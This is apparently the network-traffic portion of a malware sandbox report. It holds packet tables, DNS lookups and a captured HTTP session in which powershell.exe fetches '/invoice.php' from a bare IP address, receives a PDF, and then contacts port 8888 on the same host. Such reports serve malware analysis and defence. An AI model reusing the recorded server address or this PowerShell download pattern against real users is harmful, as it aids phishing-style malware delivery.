Jan 11, 2025 02:04:53.746948957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.746963978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.746979952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.746988058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.746999025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.747124910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.747142076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.747164011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.762384892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.768249989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.780605078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.780657053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.780673027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.780688047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.780711889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.780726910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.780741930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.780745029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.780759096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.780771971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.780781031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.780796051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.780976057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781014919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.781028986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781045914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781086922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.781094074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781116962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781152964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.781198978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781213999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781229973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781241894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781246901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.781275034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.781313896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781328917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781352997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781367064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.781368017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781383038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781399012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.781526089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781538010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781552076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781558037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.781568050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781579971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781586885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.781615973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.781734943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781752110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781765938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781785011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.781836033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781848907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781863928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781869888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.781878948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781893969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781907082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781909943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.781919956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781929016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.781933069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781948090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.781954050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.781985044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.782124043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.782177925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.782193899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.782211065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.782217026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.782223940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.782243967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.782278061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.782305002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.782318115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.782325029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.782344103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.782362938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.782366037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.782383919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.782399893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.782402992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.782444954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.782708883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.782721996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.782736063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.782752037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.782756090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.782766104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.782779932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.782787085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.782794952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.782809973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.782816887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.782824039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.782839060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.782846928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.782854080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.782869101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.782875061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.782885075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.782905102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.783063889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.783102036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.783171892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.783189058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.783205032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.783221960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.783230066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.783236980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.783252001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.783255100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.783267021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.783288002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.783493042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.783508062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.783535957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.783620119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.783637047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.783651114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.783657074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.783665895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.783680916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.783684969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.783695936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.783709049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.783715963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.783725023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.783740044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.783745050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.783755064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.783770084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.783773899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.783785105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.783798933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.783802986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.783813953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.783838987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.784214973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.784229994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.784244061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.784254074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.784260988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.784276009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.784280062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.784291029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.784306049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.784312010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.784343004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.787026882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.815478086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.815511942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.815527916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.815543890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.815561056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.815583944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.815601110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.815615892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.815629005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.815691948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.837086916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.837158918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.837212086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.837229013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.837248087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.837297916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.837299109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.837332010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.837363958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.837378979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.837414026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.837445974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.837457895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.837481022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.837521076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.837532997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.837564945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.837584972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.837608099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.837630987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.837646961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.837661982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.837671041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.837676048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.837696075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.837784052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.837799072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.837815046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.837830067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.837830067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.837846041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.837852955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.837867022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.837886095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.871928930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.871948004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.871963024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.871978998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.872039080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.872041941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.872054100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.872068882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.872083902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.872091055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.872127056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.872175932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.872199059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.872221947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.872224092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.872263908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.872304916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.872320890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.872337103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.872359037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.872462034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.872477055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.872490883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.872503996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.872513056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.872526884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.872587919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.872603893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.872617960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.872632027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.872661114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.899400949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:54.093810081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:54.585396051 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:54.590420008 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:54.590553045 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:54.590807915 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:54.595777035 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:55.400715113 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:55.455063105 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:56.329699039 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:05:05.818589926 CET	62196	53	192.168.2.5	1.1.1.1
Jan 11, 2025 02:05:05.825192928 CET	53	62196	1.1.1.1	192.168.2.5
Jan 11, 2025 02:05:05.825342894 CET	62196	53	192.168.2.5	1.1.1.1
Jan 11, 2025 02:05:05.830200911 CET	53	62196	1.1.1.1	192.168.2.5
Jan 11, 2025 02:05:06.299540997 CET	62196	53	192.168.2.5	1.1.1.1
Jan 11, 2025 02:05:06.304718971 CET	53	62196	1.1.1.1	192.168.2.5
Jan 11, 2025 02:05:06.304794073 CET	62196	53	192.168.2.5	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:05:05.817874908 CET	53	61717	1.1.1.1	192.168.2.5
Jan 11, 2025 02:05:07.718427896 CET	55120	53	192.168.2.5	1.1.1.1
Jan 11, 2025 02:05:21.552345037 CET	52422	53	192.168.2.5	1.1.1.1
Jan 11, 2025 02:05:33.959930897 CET	55131	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:05:07.718427896 CET	192.168.2.5	1.1.1.1	0x1649	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:05:21.552345037 CET	192.168.2.5	1.1.1.1	0x8ab6	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:05:33.959930897 CET	192.168.2.5	1.1.1.1	0xd6eb	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 11, 2025 02:05:07.726438046 CET	1.1.1.1	192.168.2.5	0x1649	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:05:21.559815884 CET	1.1.1.1	192.168.2.5	0x8ab6	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:05:33.967761993 CET	1.1.1.1	192.168.2.5	0xd6eb	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	1276	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:04:52.173649073 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:04:53.097764015 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:04:52 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:04:53.097836018 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:04:53.097873926 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 02:04:53.097907066 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 02:04:53.097959042 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
